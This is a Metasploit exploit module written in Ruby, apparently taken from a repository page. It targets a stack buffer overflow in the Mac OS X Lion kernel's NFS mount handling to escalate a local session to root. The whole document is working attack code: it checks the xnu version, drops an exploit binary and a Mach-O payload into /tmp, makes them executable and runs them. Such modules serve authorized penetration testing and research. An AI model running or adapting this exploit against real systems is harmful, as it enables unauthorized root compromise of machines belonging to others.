Path: blob/master/modules/exploits/osx/local/nfs_mount_root.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = NormalRanking78include Msf::Post::File9include Msf::Post::OSX::Priv10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Mac OS X NFS Mount Privilege Escalation Exploit',18'Description' => %q{19This exploit leverages a stack buffer overflow vulnerability to escalate privileges.20The vulnerable function nfs_convert_old_nfs_args does not verify the size21of a user-provided argument before copying it to the stack. As a result, by22passing a large size as an argument, a local user can overwrite the stack with arbitrary23content.2425Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 are affected.26},27'License' => MSF_LICENSE,28'Author' => [29'Kenzley Alphonse', # discovery and a very well-written exploit30'joev' # msf module31],32'References' => [33[ 'EDB', '32813' ]34],35'Platform' => 'osx',36'Arch' => [ ARCH_X64 ],37'SessionTypes' => [ 'shell', 'meterpreter' ],38'Targets' => [39[40'Mac OS X 10.7 Lion x64 (Native Payload)',41{42'Platform' => 'osx',43'Arch' => ARCH_X6444}45]46],47'DefaultTarget' => 0,48'DisclosureDate' => '2014-04-11',49'Notes' => {50'Reliability' => UNKNOWN_RELIABILITY,51'Stability' => UNKNOWN_STABILITY,52'SideEffects' => UNKNOWN_SIDE_EFFECTS53}54)55)56end5758def check59if ver_lt(xnu_ver, "1699.32.7") and xnu_ver.strip != "1699.24.8"60CheckCode::Appears61else62CheckCode::Safe63end64end6566def exploit67if is_root?68fail_with Failure::BadConfig, 'Session already has root privileges'69end7071if check != CheckCode::Appears72fail_with Failure::NotVulnerable, 'Target is not vulnerable'73end7475osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx')76file = File.join(osx_path, 'nfs_mount_priv_escalation.bin')77exploit = File.read(file)78pload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)79tmpfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"80payloadfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"8182print_status "Writing temp file as '#{tmpfile}'"83write_file(tmpfile, exploit)84register_file_for_cleanup(tmpfile)8586print_status "Writing payload file as '#{payloadfile}'"87write_file(payloadfile, pload)88register_file_for_cleanup(payloadfile)8990print_status "Executing payload..."91cmd_exec("chmod +x #{tmpfile}")92cmd_exec("chmod +x #{payloadfile}")93cmd_exec("#{tmpfile} #{payloadfile}")94end9596def xnu_ver97m = cmd_exec("uname -a").match(/xnu-([0-9\.~]*)/)98m && m[1]99end100101def ver_lt(a, b)102Rex::Version.new(a.gsub(/~.*?$/, '')) < Rex::Version.new(b.gsub(/~.*?$/, ''))103end104end105106107